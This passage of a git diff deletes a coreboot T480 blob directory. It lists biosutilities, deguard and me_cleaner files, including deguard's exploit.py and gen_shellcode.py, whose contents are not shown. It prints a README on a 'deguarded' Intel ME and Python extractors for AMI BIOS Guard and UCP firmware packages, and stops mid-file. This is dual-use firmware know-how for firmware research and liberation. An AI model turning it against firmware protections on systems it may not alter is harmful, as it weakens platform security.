delete mode 100644 blobs/t480/biosutilities/Insyde_IFD_Extract.py delete mode 100644 blobs/t480/biosutilities/LICENSE delete mode 100644 blobs/t480/biosutilities/Panasonic_BIOS_Extract.py delete mode 100644 blobs/t480/biosutilities/Phoenix_TDK_Extract.py delete mode 100644 blobs/t480/biosutilities/Portwell_EFI_Extract.py delete mode 100644 blobs/t480/biosutilities/README.md delete mode 100644 blobs/t480/biosutilities/Toshiba_COM_Extract.py delete mode 100644 blobs/t480/biosutilities/VAIO_Package_Extract.py delete mode 100644 blobs/t480/biosutilities/common/checksums.py delete mode 100644 blobs/t480/biosutilities/common/comp_efi.py delete mode 100644 blobs/t480/biosutilities/common/comp_szip.py delete mode 100644 blobs/t480/biosutilities/common/externals.py delete mode 100644 blobs/t480/biosutilities/common/num_ops.py delete mode 100644 blobs/t480/biosutilities/common/path_ops.py delete mode 100644 blobs/t480/biosutilities/common/patterns.py delete mode 100644 blobs/t480/biosutilities/common/pe_ops.py delete mode 100644 blobs/t480/biosutilities/common/struct_ops.py delete mode 100644 blobs/t480/biosutilities/common/system.py delete mode 100644 blobs/t480/biosutilities/common/templates.py delete mode 100644 blobs/t480/biosutilities/common/text_ops.py delete mode 100644 blobs/t480/biosutilities/external/requirements.txt delete mode 100644 blobs/t480/deguard/.gitignore delete mode 100644 blobs/t480/deguard/README.md delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/pwdmgr/segreto delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/fpfs/optiplex_3050 delete mode 100644 blobs/t480/deguard/data/fpfs/thinkpad_t480 delete mode 100644 blobs/t480/deguard/data/fpfs/zero delete mode 100644 blobs/t480/deguard/doc/COPYING.txt delete mode 100644 blobs/t480/deguard/doc/LICENSE.orig delete mode 100755 blobs/t480/deguard/finalimage.py delete mode 100755 blobs/t480/deguard/gen_shellcode.py delete mode 100755 blobs/t480/deguard/generatedelta.py delete mode 100644 blobs/t480/deguard/lib/cfg.py delete mode 100644 blobs/t480/deguard/lib/exploit.py delete mode 100644 blobs/t480/deguard/lib/image.py delete mode 100644 blobs/t480/deguard/lib/mfs.py delete mode 100755 blobs/t480/deguard/mfsutil.py delete mode 100755 blobs/t480/download-clean-deguard-me.sh delete mode 100644 blobs/t480/gbe delete mode 100644 blobs/t480/ifd_16 delete mode 100644 blobs/t480/me_cleaner/README.md delete mode 100644 blobs/t480/me_cleaner/description.md delete mode 100644 blobs/t480/me_cleaner/man/me_cleaner.1 delete mode 100755 blobs/t480/me_cleaner/me_cleaner.py delete mode 100755 blobs/t480/me_cleaner/setup.py diff --git a/blobs/t480/.gitignore b/blobs/t480/.gitignore deleted file mode 100644 index a9b63f4a5..000000000 --- a/blobs/t480/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -me.bin -tb.bin \ No newline at end of file diff --git a/blobs/t480/README.md b/blobs/t480/README.md deleted file mode 100644 index 2f7d1620a..000000000 --- a/blobs/t480/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# T480 Blobs - -Coreboot on the T480 requires the following binary blobs: - -- `me.bin` - Consists of Intel’s Management Engine (ME), which was modified and deguarded using [me_cleaner](https://github.com/corna/me_cleaner) and [deguard](https://codeberg.org/libreboot/deguard) (written by Mate Kukri) to remove all but the modules which are necessary for the CPU to function. -- `tb.bin` - Consists of Thunderbolt firmware. -- `gbe.bin` - Consists of hardware/software configuration data for the Gigabit Ethernet (GbE) controller. -- `ifd_16.bin` - Consists of the Intel Flash Descriptor (IFD). - -Heads supplies an IFD and GbE blob, which were copied from libreboot. We changed the MAC address of the GbE blob to `00:de:ad:c0:ff:ee` using [nvmutil](https://libreboot.org/docs/install/nvmutil.html), to support anonymity and build reproducibility. - -When building any T480 board variant with `make`, the build system will download a copy the Intel ME. `me.bin` was extracted from a Dell-Inspiron Windows installer firmware update. - diff --git a/blobs/t480/biosutilities/.gitignore b/blobs/t480/biosutilities/.gitignore deleted file mode 100644 index 238b83e2d..000000000 --- a/blobs/t480/biosutilities/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -# Skip all external files -external/* - -# Keep external > requirements file -!external/requirements.txt diff --git a/blobs/t480/biosutilities/AMI_PFAT_Extract.py b/blobs/t480/biosutilities/AMI_PFAT_Extract.py deleted file mode 100644 index 026b74aea..000000000 --- a/blobs/t480/biosutilities/AMI_PFAT_Extract.py +++ /dev/null @@ -1,319 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -AMI PFAT Extract -AMI BIOS Guard Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'AMI BIOS Guard Extractor v4.0_a12' - -import os -import re -import sys -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_bgs_tool -from common.num_ops import get_ordinal -from common.path_ops import make_dirs, safe_name, get_extract_path, extract_suffix -from common.patterns import PAT_AMI_PFAT -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class AmiBiosGuardHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Size', uint32_t), # 0x00 Header + Entries - ('Checksum', uint32_t), # 0x04 ? - ('Tag', char*8), # 0x04 _AMIPFAT - ('Flags', uint8_t), # 0x10 ? - # 0x11 - ] - - def struct_print(self, p): - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Checksum:', f'0x{self.Checksum:04X}'], p, False) - printer(['Tag :', self.Tag.decode('utf-8')], p, False) - printer(['Flags :', f'0x{self.Flags:02X}'], p, False) - -class IntelBiosGuardHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('BGVerMajor', uint16_t), # 0x00 - ('BGVerMinor', uint16_t), # 0x02 - ('PlatformID', uint8_t*16), # 0x04 - ('Attributes', uint32_t), # 0x14 - ('ScriptVerMajor', uint16_t), # 0x16 - ('ScriptVerMinor', uint16_t), # 0x18 - ('ScriptSize', uint32_t), # 0x1C - ('DataSize', uint32_t), # 0x20 - ('BIOSSVN', uint32_t), # 0x24 - ('ECSVN', uint32_t), # 0x28 - ('VendorInfo', uint32_t), # 0x2C - # 0x30 - ] - - def get_platform_id(self): - id_byte = bytes(self.PlatformID) - - id_text = re.sub(r'[\n\t\r\x00 ]', '', id_byte.decode('utf-8','ignore')) - - id_hexs = f'{int.from_bytes(id_byte, "big"):0{0x10 * 2}X}' - id_guid = f'{{{id_hexs[:8]}-{id_hexs[8:12]}-{id_hexs[12:16]}-{id_hexs[16:20]}-{id_hexs[20:]}}}' - - return f'{id_text} {id_guid}' - - def get_flags(self): - attr = IntelBiosGuardHeaderGetAttributes() - attr.asbytes = self.Attributes - - return attr.b.SFAM, attr.b.ProtectEC, attr.b.GFXMitDis, attr.b.FTU, attr.b.Reserved - - def struct_print(self, p): - no_yes = ['No','Yes'] - f1,f2,f3,f4,f5 = self.get_flags() - - printer(['BIOS Guard Version :', f'{self.BGVerMajor}.{self.BGVerMinor}'], p, False) - printer(['Platform Identity :', self.get_platform_id()], p, False) - printer(['Signed Flash Address Map :', no_yes[f1]], p, False) - printer(['Protected EC OpCodes :', no_yes[f2]], p, False) - printer(['Graphics Security Disable :', no_yes[f3]], p, False) - printer(['Fault Tolerant Update :', no_yes[f4]], p, False) - printer(['Attributes Reserved :', f'0x{f5:X}'], p, False) - printer(['Script Version :', f'{self.ScriptVerMajor}.{self.ScriptVerMinor}'], p, False) - printer(['Script Size :', f'0x{self.ScriptSize:X}'], p, False) - printer(['Data Size :', f'0x{self.DataSize:X}'], p, False) - printer(['BIOS Security Version Number:', f'0x{self.BIOSSVN:X}'], p, False) - printer(['EC Security Version Number :', f'0x{self.ECSVN:X}'], p, False) - printer(['Vendor Information :', f'0x{self.VendorInfo:X}'], p, False) - -class IntelBiosGuardHeaderAttributes(ctypes.LittleEndianStructure): - _fields_ = [ - ('SFAM', uint32_t, 1), # Signed Flash Address Map - ('ProtectEC', uint32_t, 1), # Protected EC OpCodes - ('GFXMitDis', uint32_t, 1), # GFX Security Disable - ('FTU', uint32_t, 1), # Fault Tolerant Update - ('Reserved', uint32_t, 28) # Reserved/Unknown - ] - -class IntelBiosGuardHeaderGetAttributes(ctypes.Union): - _fields_ = [ - ('b', IntelBiosGuardHeaderAttributes), - ('asbytes', uint32_t) - ] - -class IntelBiosGuardSignature2k(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Unknown0', uint32_t), # 0x000 - ('Unknown1', uint32_t), # 0x004 - ('Modulus', uint32_t*64), # 0x008 - ('Exponent', uint32_t), # 0x108 - ('Signature', uint32_t*64), # 0x10C - # 0x20C - ] - - def struct_print(self, p): - Modulus = f'{int.from_bytes(self.Modulus, "little"):0{0x100 * 2}X}' - Signature = f'{int.from_bytes(self.Signature, "little"):0{0x100 * 2}X}' - - printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) - printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) - printer(['Modulus :', f'{Modulus[:32]} [...]'], p, False) - printer(['Exponent :', f'0x{self.Exponent:X}'], p, False) - printer(['Signature:', f'{Signature[:32]} [...]'], p, False) - -def is_ami_pfat(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(get_ami_pfat(input_buffer)) - -def get_ami_pfat(input_file): - input_buffer = file_to_bytes(input_file) - - match = PAT_AMI_PFAT.search(input_buffer) - - return input_buffer[match.start() - 0x8:] if match else b'' - -def get_file_name(index, name): - return safe_name(f'{index:02d} -- {name}') - -def parse_bg_script(script_data, padding=0): - is_opcode_div = len(script_data) % 8 == 0 - - if not is_opcode_div: - printer('Error: Script is not divisible by OpCode length!', padding, False) - - return 1 - - is_begin_end = script_data[:8] + script_data[-8:] == b'\x01' + b'\x00' * 7 + b'\xFF' + b'\x00' * 7 - - if not is_begin_end: - printer('Error: Script lacks Begin and/or End OpCodes!', padding, False) - - return 2 - - BigScript = get_bgs_tool() - - if not BigScript: - printer('Note: BIOS Guard Script Tool optional dependency is missing!', padding, False) - - return 3 - - script = BigScript(code_bytes=script_data).to_string().replace('\t',' ').split('\n') - - for opcode in script: - if opcode.endswith(('begin','end')): spacing = padding - elif opcode.endswith(':'): spacing = padding + 4 - else: spacing = padding + 12 - - operands = [operand for operand in opcode.split(' ') if operand] - printer(('{:<12s}' + '{:<11s}' * (len(operands) - 1)).format(*operands), spacing, False) - - return 0 - -def parse_pfat_hdr(buffer, padding=0): - block_all = [] - - pfat_hdr = get_struct(buffer, 0x0, AmiBiosGuardHeader) - - hdr_size = pfat_hdr.Size - hdr_data = buffer[PFAT_AMI_HDR_LEN:hdr_size] - hdr_text = hdr_data.decode('utf-8').splitlines() - - printer('AMI BIOS Guard Header:\n', padding) - - pfat_hdr.struct_print(padding + 4) - - hdr_title,*hdr_files = hdr_text - - files_count = len(hdr_files) - - hdr_tag,*hdr_indexes = hdr_title.split('II') - - printer(hdr_tag + '\n', padding + 4) - - bgt_indexes = [int(h, 16) for h in re.findall(r'.{1,4}', hdr_indexes[0])] if hdr_indexes else [] - - for index,entry in enumerate(hdr_files): - entry_parts = entry.split(';') - - info = entry_parts[0].split() - name = entry_parts[1] - - flags = int(info[0]) - param = info[1] - count = int(info[2]) - - order = get_ordinal((bgt_indexes[index] if bgt_indexes else index) + 1) - - desc = f'{name} (Index: {index + 1:02d}, Flash: {order}, Parameter: {param}, Flags: 0x{flags:X}, Blocks: {count})' - - block_all += [(desc, name, order, param, flags, index, i, count) for i in range(count)] - - _ = [printer(block[0], padding + 8, False) for block in block_all if block[6] == 0] - - return block_all, hdr_size, files_count - -def parse_pfat_file(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - pfat_buffer = get_ami_pfat(input_buffer) - - file_path = '' - all_blocks_dict = {} - - extract_name = os.path.basename(extract_path).rstrip(extract_suffix()) - - make_dirs(extract_path, delete=True) - - block_all,block_off,file_count = parse_pfat_hdr(pfat_buffer, padding) - - for block in block_all: - file_desc,file_name,_,_,_,file_index,block_index,block_count = block - - if block_index == 0: - printer(file_desc, padding + 4) - - file_path = os.path.join(extract_path, get_file_name(file_index + 1, file_name)) - - all_blocks_dict[file_index] = b'' - - block_status = f'{block_index + 1}/{block_count}' - - bg_hdr = get_struct(pfat_buffer, block_off, IntelBiosGuardHeader) - - printer(f'Intel BIOS Guard {block_status} Header:\n', padding + 8) - - bg_hdr.struct_print(padding + 12) - - bg_script_bgn = block_off + PFAT_BLK_HDR_LEN - bg_script_end = bg_script_bgn + bg_hdr.ScriptSize - bg_script_bin = pfat_buffer[bg_script_bgn:bg_script_end] - - bg_data_bgn = bg_script_end - bg_data_end = bg_data_bgn + bg_hdr.DataSize - bg_data_bin = pfat_buffer[bg_data_bgn:bg_data_end] - - block_off = bg_data_end # Assume next block starts at data end - - is_sfam,_,_,_,_ = bg_hdr.get_flags() # SFAM, ProtectEC, GFXMitDis, FTU, Reserved - - if is_sfam: - bg_sig_bgn = bg_data_end - bg_sig_end = bg_sig_bgn + PFAT_BLK_S2K_LEN - bg_sig_bin = pfat_buffer[bg_sig_bgn:bg_sig_end] - - if len(bg_sig_bin) == PFAT_BLK_S2K_LEN: - bg_sig = get_struct(bg_sig_bin, 0x0, IntelBiosGuardSignature2k) - - printer(f'Intel BIOS Guard {block_status} Signature:\n', padding + 8) - - bg_sig.struct_print(padding + 12) - - block_off = bg_sig_end # Adjust next block to start at data + signature end - - printer(f'Intel BIOS Guard {block_status} Script:\n', padding + 8) - - _ = parse_bg_script(bg_script_bin, padding + 12) - - with open(file_path, 'ab') as out_dat: - out_dat.write(bg_data_bin) - - all_blocks_dict[file_index] += bg_data_bin - - pfat_oob_data = pfat_buffer[block_off:] # Store out-of-bounds data after the end of PFAT files - - pfat_oob_name = get_file_name(file_count + 1, f'{extract_name}_OOB.bin') - - pfat_oob_path = os.path.join(extract_path, pfat_oob_name) - - with open(pfat_oob_path, 'wb') as out_oob: - out_oob.write(pfat_oob_data) - - if is_ami_pfat(pfat_oob_data): - parse_pfat_file(pfat_oob_data, get_extract_path(pfat_oob_path), padding) - - in_all_data = b''.join([block[1] for block in sorted(all_blocks_dict.items())]) - - in_all_name = get_file_name(0, f'{extract_name}_ALL.bin') - - in_all_path = os.path.join(extract_path, in_all_name) - - with open(in_all_path, 'wb') as out_all: - out_all.write(in_all_data + pfat_oob_data) - - return 0 - -PFAT_AMI_HDR_LEN = ctypes.sizeof(AmiBiosGuardHeader) -PFAT_BLK_HDR_LEN = ctypes.sizeof(IntelBiosGuardHeader) -PFAT_BLK_S2K_LEN = ctypes.sizeof(IntelBiosGuardSignature2k) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_ami_pfat, parse_pfat_file).run_utility() diff --git a/blobs/t480/biosutilities/AMI_UCP_Extract.py b/blobs/t480/biosutilities/AMI_UCP_Extract.py deleted file mode 100644 index 2f59e6fe1..000000000 --- a/blobs/t480/biosutilities/AMI_UCP_Extract.py +++ /dev/null @@ -1,515 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -AMI UCP Extract -AMI UCP Update Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'AMI UCP Update Extractor v2.0_a20' - -import os -import re -import sys -import struct -import ctypes -import contextlib - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.checksums import get_chk_16 -from common.comp_efi import efi_decompress, is_efi_compressed -from common.path_ops import agnostic_path, make_dirs, safe_name, safe_path, get_extract_path -from common.patterns import PAT_AMI_UCP, PAT_INTEL_ENG -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes, to_string - -from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file -from Insyde_IFD_Extract import insyde_ifd_extract, is_insyde_ifd - -class UafHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('ModuleTag', char*4), # 0x00 - ('ModuleSize', uint32_t), # 0x04 - ('Checksum', uint16_t), # 0x08 - ('Unknown0', uint8_t), # 0x0A - ('Unknown1', uint8_t), # 0x0A - ('Reserved', uint8_t*4), # 0x0C - # 0x10 - ] - - def _get_reserved(self): - res_bytes = bytes(self.Reserved) - - res_hex = f'0x{int.from_bytes(res_bytes, "big"):0{0x4 * 2}X}' - - res_str = re.sub(r'[\n\t\r\x00 ]', '', res_bytes.decode('utf-8','ignore')) - - res_txt = f' ({res_str})' if len(res_str) else '' - - return f'{res_hex}{res_txt}' - - def struct_print(self, p): - printer(['Tag :', self.ModuleTag.decode('utf-8')], p, False) - printer(['Size :', f'0x{self.ModuleSize:X}'], p, False) - printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) - printer(['Unknown 0 :', f'0x{self.Unknown0:02X}'], p, False) - printer(['Unknown 1 :', f'0x{self.Unknown1:02X}'], p, False) - printer(['Reserved :', self._get_reserved()], p, False) - -class UafModule(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('CompressSize', uint32_t), # 0x00 - ('OriginalSize', uint32_t), # 0x04 - # 0x08 - ] - - def struct_print(self, p, filename, description): - printer(['Compress Size:', f'0x{self.CompressSize:X}'], p, False) - printer(['Original Size:', f'0x{self.OriginalSize:X}'], p, False) - printer(['Filename :', filename], p, False) - printer(['Description :', description], p, False) - -class UiiHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('UIISize', uint16_t), # 0x00 - ('Checksum', uint16_t), # 0x02 - ('UtilityVersion', uint32_t), # 0x04 AFU|BGT (Unknown, Signed) - ('InfoSize', uint16_t), # 0x08 - ('SupportBIOS', uint8_t), # 0x0A - ('SupportOS', uint8_t), # 0x0B - ('DataBusWidth', uint8_t), # 0x0C - ('ProgramType', uint8_t), # 0x0D - ('ProgramMode', uint8_t), # 0x0E - ('SourceSafeRel', uint8_t), # 0x0F - # 0x10 - ] - - SBI = {1: 'ALL', 2: 'AMIBIOS8', 3: 'UEFI', 4: 'AMIBIOS8/UEFI'} - SOS = {1: 'DOS', 2: 'EFI', 3: 'Windows', 4: 'Linux', 5: 'FreeBSD', 6: 'MacOS', 128: 'Multi-Platform'} - DBW = {1: '16b', 2: '16/32b', 3: '32b', 4: '64b'} - PTP = {1: 'Executable', 2: 'Library', 3: 'Driver'} - PMD = {1: 'API', 2: 'Console', 3: 'GUI', 4: 'Console/GUI'} - - def struct_print(self, p, description): - SupportBIOS = self.SBI.get(self.SupportBIOS, f'Unknown ({self.SupportBIOS})') - SupportOS = self.SOS.get(self.SupportOS, f'Unknown ({self.SupportOS})') - DataBusWidth = self.DBW.get(self.DataBusWidth, f'Unknown ({self.DataBusWidth})') - ProgramType = self.PTP.get(self.ProgramType, f'Unknown ({self.ProgramType})') - ProgramMode = self.PMD.get(self.ProgramMode, f'Unknown ({self.ProgramMode})') - - printer(['UII Size :', f'0x{self.UIISize:X}'], p, False) - printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) - printer(['Tool Version :', f'0x{self.UtilityVersion:08X}'], p, False) - printer(['Info Size :', f'0x{self.InfoSize:X}'], p, False) - printer(['Supported BIOS:', SupportBIOS], p, False) - printer(['Supported OS :', SupportOS], p, False) - printer(['Data Bus Width:', DataBusWidth], p, False) - printer(['Program Type :', ProgramType], p, False) - printer(['Program Mode :', ProgramMode], p, False) - printer(['SourceSafe Tag:', f'{self.SourceSafeRel:02d}'], p, False) - printer(['Description :', description], p, False) - -class DisHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('PasswordSize', uint16_t), # 0x00 - ('EntryCount', uint16_t), # 0x02 - ('Password', char*12), # 0x04 - # 0x10 - ] - - def struct_print(self, p): - printer(['Password Size:', f'0x{self.PasswordSize:X}'], p, False) - printer(['Entry Count :', self.EntryCount], p, False) - printer(['Password :', self.Password.decode('utf-8')], p, False) - -class DisModule(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('EnabledDisabled', uint8_t), # 0x00 - ('ShownHidden', uint8_t), # 0x01 - ('Command', char*32), # 0x02 - ('Description', char*256), # 0x22 - # 0x122 - ] - - ENDIS = {0: 'Disabled', 1: 'Enabled'} - SHOWN = {0: 'Hidden', 1: 'Shown', 2: 'Shown Only'} - - def struct_print(self, p): - EnabledDisabled = self.ENDIS.get(self.EnabledDisabled, f'Unknown ({self.EnabledDisabled})') - ShownHidden = self.SHOWN.get(self.ShownHidden, f'Unknown ({self.ShownHidden})') - - printer(['State :', EnabledDisabled], p, False) - printer(['Display :', ShownHidden], p, False) - printer(['Command :', self.Command.decode('utf-8').strip()], p, False) - printer(['Description:', self.Description.decode('utf-8').strip()], p, False) - -# Validate UCP Module Checksum-16 -def chk16_validate(data, tag, padd=0): - if get_chk_16(data) != 0: - printer(f'Error: Invalid UCP Module {tag} Checksum!', padd, pause=True) - else: - printer(f'Checksum of UCP Module {tag} is valid!', padd) - -# Check if input is AMI UCP image -def is_ami_ucp(in_file): - buffer = file_to_bytes(in_file) - - return bool(get_ami_ucp(buffer)[0] is not None) - -# Get all input file AMI UCP patterns -def get_ami_ucp(in_file): - buffer = file_to_bytes(in_file) - - uaf_len_max = 0x0 # Length of largest detected @UAF|@HPU - uaf_buf_bin = None # Buffer of largest detected @UAF|@HPU - uaf_buf_tag = '@UAF' # Tag of largest detected @UAF|@HPU - - for uaf in PAT_AMI_UCP.finditer(buffer): - uaf_len_cur = int.from_bytes(buffer[uaf.start() + 0x4:uaf.start() + 0x8], 'little') - - if uaf_len_cur > uaf_len_max: - uaf_len_max = uaf_len_cur - uaf_hdr_off = uaf.start() - uaf_buf_bin = buffer[uaf_hdr_off:uaf_hdr_off + uaf_len_max] - uaf_buf_tag = uaf.group(0)[:4].decode('utf-8','ignore') - - return uaf_buf_bin, uaf_buf_tag - -# Get list of @UAF|@HPU Modules -def get_uaf_mod(buffer, uaf_off=0x0): - uaf_all = [] # Initialize list of all @UAF|@HPU Modules - - while buffer[uaf_off] == 0x40: # ASCII of @ is 0x40 - uaf_hdr = get_struct(buffer, uaf_off, UafHeader) # Parse @UAF|@HPU Module Structure - - uaf_tag = uaf_hdr.ModuleTag.decode('utf-8') # Get unique @UAF|@HPU Module Tag - - uaf_all.append([uaf_tag, uaf_off, uaf_hdr]) # Store @UAF|@HPU Module Info - - uaf_off += uaf_hdr.ModuleSize # Adjust to next @UAF|@HPU Module offset - - if uaf_off >= len(buffer): - break # Stop parsing at EOF - - # Check if @UAF|@HPU Module @NAL exists and place it first - # Parsing @NAL first allows naming all @UAF|@HPU Modules - for mod_idx,mod_val in enumerate(uaf_all): - if mod_val[0] == '@NAL': - uaf_all.insert(1, uaf_all.pop(mod_idx)) # After UII for visual purposes - - break # @NAL found, skip the rest - - return uaf_all - -# Parse & Extract AMI UCP structures -def ucp_extract(in_file, extract_path, padding=0, checksum=False): - input_buffer = file_to_bytes(in_file) - - nal_dict = {} # Initialize @NAL Dictionary per UCP - - printer('Utility Configuration Program', padding) - - 